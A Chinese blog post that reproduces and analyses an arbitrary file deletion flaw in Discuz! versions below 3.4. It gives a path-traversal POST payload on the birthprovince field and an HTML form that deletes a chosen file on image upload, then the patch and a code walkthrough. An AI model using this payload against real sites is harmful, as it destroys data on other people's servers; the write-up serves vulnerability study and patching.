Discuz! 任意文件删除漏洞重现及分析
0x00 概述
9月29日,Discuz修复了一个前台任意文件删除的漏洞,相似的漏洞曾在2014年被提交给wooyun和discuz官方,但是修复不完全导致了这次的漏洞。
0x01 影响范围
Discuz < 3.4
0x02 漏洞重现
环境:win7+phpstudy+discuz3.2
新建importantfile.txt作为测试
进入设置-个人资料,先在页面源代码找到formhash值
http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile
可以看到formhash值是b21b6577。
再访问10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base
Post数据:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=b21b6577
如图
执行后
出生地被修改成要删除的文件。
最后构造表单执行删除文件
<form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”><input type=”file” name=”birthprovince” id=”file” /><input type=”text” name=”formhash” value=”b21b6577″/></p><input type=”text” name=”profilesubmit” value=”1″/></p><input type=”submit” value=”Submit” /></from>
随便上传一张图片,即可删除importantfile.txt
成功删除importantfile.txt,重现成功!
0x03 修复方案
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
删除unlink相关代码。
0x04 漏洞分析
根据补丁,漏洞存在于upload/source/include/spacecp/spacecp_profile.php。
先看第70行
if(submitcheck(‘profilesubmit’)) {
提交1进入这个判断。
来到220行,补丁前:
往上看来到:
可以看出文件上传成功就可以进入228行的unlink从而删除指定文件。
现在就看如何控制指定文件,也就是控制key]这个变量。
继续往上看来到:
可以看出space存用户资料,就可以利用space[birthprovince]存要删除的文件。
那如何修改birthprovince为指定文件呢,直接post提交就绕过限制了。
总结整个漏洞利用流程:
修改birthprovince->上传图片->执行unlink->删除任意文件
0x05 结语
删文件……,大家不要乱搞,该补的赶紧补,discuz树大招风,2014的补丁又不补完全,正是这样攻与防的不断博弈,使安全界生机勃勃,妙趣横生,也使互联网愈发安全稳固。
0x06 参考资料
https://www.seebug.org/vuldb/ssvid-96608
https://www.seebug.org/vuldb/ssvid-93588
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
https://gitee.com/ComsenzDiscuz/DiscuzX/blob/7d603a197c2717ef1d7e9ba654cf72aa42d3e574/upload/source/include/spacecp/spacecp_profile.php
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- MFC实现的Socket通信
- 128-在线翻译
- C语言CGI编程二 - 编写cmd后门
- android 获取视频第一帧作为缩略图的方法
- Flutter利用注解生成可自定义的路由的实现
- Android实现随意拖动View效果的实例代码
- Kotlin的枚举与异常示例详解
- Android自定义View的使用及其原理知识点总结
- Android中Window的管理深入讲解
- Android UI绘制流程及原理详解
- flutter 轮播图动态加载网络图片的方法
- Kotlin如何捕获上下文中的变量与常量详解
- Android使用webView长按保存下载网络图片
- Android实现万能自定义阴影控件实例代码
- 浅析android studio3.5中使用recycleview的包